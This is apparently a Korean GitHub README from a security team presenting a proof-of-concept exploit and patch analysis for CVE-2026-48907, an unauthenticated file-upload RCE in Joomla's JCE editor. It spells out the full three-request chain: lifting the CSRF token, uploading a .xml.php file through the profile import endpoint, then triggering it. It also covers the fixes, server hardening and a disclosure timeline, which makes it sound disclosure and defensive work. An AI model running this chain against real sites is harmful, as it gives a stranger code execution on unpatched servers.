
Joomla 콘텐츠 편집기(JCE)의 CVSS 10.0 사전 인증 원격 코드 실행 취약점인 CVE-2026-48907에 대한 개념 증명 익스플로잇 및 기술 분석입니다. 3-요청 공격 체인과 상세한 패치 분석을 포함합니다.
CVE-2026-48907에 대한 개념 증명 익스플로잇 — Joomla Content Editor (JCE) 확장의 CVSS 10.0 사전 인증 원격 코드 실행 취약점입니다.
연구: Grayxploit Security Team
CVE-2026-48907은 가장 널리 설치된 Joomla 편집기인 Joomla Content Editor (JCE) 확장의 2.9.99.4까지 모든 버전에 영향을 미치는 심각한 인증되지 않은 원격 코드 실행 (RCE) 취약점입니다.
JCE 프로필 가져오기 워크플로에서 세 가지 독립적인 보안 취약점을 연쇄적으로 연결함으로써 완전히 인증되지 않은 공격자는 다음을 수행할 수 있습니다:
/tmp/ 디렉토리에 임의의 PHP 웹쉘 업로드해당 공격은 단 3개의 HTTP 요청만 필요하며, 취약한 JCE 버전을 실행하는 모든 기본 Joomla 설치에서 작동합니다.
CVSS v4 점수: 10.0 — 심각
책임 있는 공개 절차에 따라 Grayxploit 보안 연구 팀이 발견하여 공개했습니다.
| 소프트웨어 | 취약한 버전 | 패치된 버전 |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (권장) |
참고: 2.9.99.5에서 핵심 수정이 도입되었습니다. 2.9.99.6에서 추가적인 강화 계층이 추가되었습니다. 2.9.99.6 이상으로 업그레이드하세요.
취약점은 JCE 프로필 가져오기 엔드포인트에서 발생합니다:
POST /index.php?option=com_jce&task=profiles.import
JCE는 관리자가 편집기 프로필을 XML 파일로 내보내고 가져올 수 있도록 합니다. 가져오기 핸들러는 인증 없이 접근 가능하며, 세 가지 독립적인 약점의 연쇄로 인해 임의 파일 업로드를 허용합니다.
가져오기 컨트롤러는 ACL 검사를 수행하지 않았습니다:
public function import()
{
// 유일한 관문: CSRF 토큰 — 쉽게 우회 가능
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … 바로 파일 처리로 넘어감 — authorise() 검사 없음
}
Joomla는 CSRF 토큰을 모든 공개 페이지에 메타 태그 또는 JS 변수로 포함시킵니다:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
공격자는 단순히 홈페이지를 가져와 토큰을 추출하고 재사용합니다. CSRF 검사는 사이트 간 요청을 방지할 뿐, 직접적인 스크립트 요청을 막지는 않습니다. 가져오기 경로 어디에서도 Factory::getUser() 또는 $user->authorise(...) 호출이 없었습니다.
업로드 핸들러는 File::makeSafe()를 사용했지만, 이 함수는 불법 파일 시스템 문자만 제거할 뿐 파일 확장자를 검증하거나 제한하지 않습니다:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // 불법 문자만 제거
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
shell.xml.php와 같은 파일 이름은 File::makeSafe()를 그대로 통과합니다. Apache의 mod_php는 마지막으로 인식된 확장자가 .php이므로 이를 실행합니다. .php, .php5, .phtml 및 이중 확장 변형이 모두 허용되었습니다.
$allow_unsafe = true로 File::upload() 호출 (CWE-116)Joomla의 File::upload()는 $allow_unsafe = false(기본값)일 때 위험한 파일 형식을 차단하는 내장 확장자 블랙리스트가 있습니다:
// Joomla File::upload() 서명
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
취약한 JCE 코드는 이 안전 장치를 명시적으로 비활성화했습니다:
// 취약 — 안전하지 않은 업로드가 명시적으로 허용됨
File::upload($source, $destination, false, true);
이 단일 부울 값이 Joomla의 전체 내부 확장자 블랙리스트를 꺼서 .php, .php5, .phtml 및 기타 모든 실행 가능한 확장자가 디스크에 기록되도록 했습니다.
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← HTML/JS에서 csrf_token 추출 │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK (파일이 /var/www/html/tmp/에 기록됨) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← 응답: "3105" (45 × 69 = RCE 확인 ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
세션 쿠키 없음. 사용자 이름 없음. 비밀번호 없음. HTTP 요청 3개.
⚠️ 이 PoC는 승인된 보안 연구 및 침투 테스트를 위해 엄격히 제공됩니다. 명시적인 서면 허가 없이 어떤 시스템에도 사용하지 마십시오. 무단 사용은 불법이며 비윤리적입니다.
pip3 install requests
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py
[] Target : http://localhost:9999
[] Payload : cve-2026-48907-4821.xml.php [] Step 1 — Fetching CSRF token...
[+] CSRF token: abcdef1234567890abcdef1234567890
[] Step 2 — Uploading payload...
[+] Upload response: HTTP 200
[*] Step 3 — Triggering payload execution...
[CRITICAL] RCE CONFIRMED — CVE-2026-48907
Target http://localhost:9999 is VULNERABLE
세 가지 약점 모두 JCE 2.9.99.5에서 수정되었으며, 2.9.99.6에서 추가 강화가 제공되었습니다.
controller/profiles.php:
$user = Factory::getUser();
if (!$user->authorise('core.manage', 'com_jce')) {
throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}
게스트 사용자(id = 0)는 authorise()를 즉시 실패합니다. 파일 처리가 발생하기 전에 요청이 거부됩니다.
models/profile.php:
$extension = PATHINFO($name, PATHINFO_EXTENSION);
if (strtolower($extension) !== 'xml') {
$app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
return false;
}
PATHINFO_EXTENSION은 마지막 확장자만 반환합니다. shell.xml.php → php → 거부됩니다. 모든 다중 확장자 우회를 무력화합니다.
// 이전 (취약)
File::upload($source, $destination, false, true);
// 이후 (패치됨)
File::upload($source, $destination, false);
Joomla의 내부 확장자 블랙리스트가 독립적인 방어 계층으로 다시 활성화됩니다.
| 수정 | 세부 사항 |
|---|---|
| 업로드 크기 제한 | 512 KB 초과 파일 거부 |
| XXE 보호 | libxml_disable_entity_loader(true)가 PHP 7.x로 백포트됨 |
| XML 필드 허용 목록 | 알려진 안전한 XML 키만 처리됨; 임의 키는 자동 무시 |
.htaccess를 통해 /tmp/에서 PHP 비활성화<Directory /var/www/html/tmp>
php_flag engine off
<FilesMatch "\.ph(p[2-9]?|tml)$">
Deny from all
</FilesMatch>
</Directory>
이 저장소는 소유한 시스템이나 명시적인 서면 허가를 받은 시스템에 대한 승인된 보안 연구, 교육 및 침투 테스트만을 위한 것입니다.
Grayxploit 팀은 이 저장소에 제공된 코드 또는 정보의 무단, 불법 또는 악의적인 사용에 대해 책임을 지지 않습니다.
책임감 있게 사용하십시오. 합법적으로 테스트하십시오.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.
| 우선 순위 | 조치 |
|---|
| 🔴 즉시 | JCE를 ≥ 2.9.99.6으로 업그레이드 |
| 🟠 높음 | 서버 수준에서 /tmp/에 대한 웹 접근 차단 또는 제한 |
| 🟠 높음 | .htaccess 또는 서버 구성을 통해 임시 디렉토리에서 PHP 실행 비활성화 |
| 🟡 중간 | 인증되지 않은 세션에서 com_jce&task=profiles.import를 경고/차단하는 WAF 규칙 추가 |
| 🟡 중간 | 확장자 검증 없이 File::upload(..., true)를 사용하는 다른 Joomla 확장 감사 |
| 날짜 | 이벤트 |
|---|
| 2026-05-XX | Grayxploit 연구 팀이 취약점 발견 |
| 2026-05-XX | JCE 유지 관리자에게 책임 있는 공개 제출 |
| 2026-06-XX | MITRE에서 CVE-2026-48907 할당 |
| 2026-06-XX | JCE 2.9.99.5 출시 — 핵심 수정 |
| 2026-06-12 | JCE 2.9.99.6 출시 — 추가 강화 |
| 2026-06-12 | Grayxploit의 공개 공개 |
| 우리가 찾는 것 | 우리가 공개하는 방식 | 당신이 방어하는 방식 |
|---|---|---|
| 사전 인증 RCE | 책임감 있고 공개적으로 | 상세한 패치 분석을 통해 |
| 로직 결함 | 전체 근본 원인 분석과 함께 | PoC를 안전하게 사용하여 |
| 연쇄 취약점 | 대규모 악용이 시작되기 전에 | 위협 행위자보다 빠르게 |
팁이 있거나 협업하고 싶으신가요? 이슈를 열거나 GitHub 프로필을 통해 문의하세요.
CVE-2026-48907 — 원본 연구:
Breaking things. Responsibly.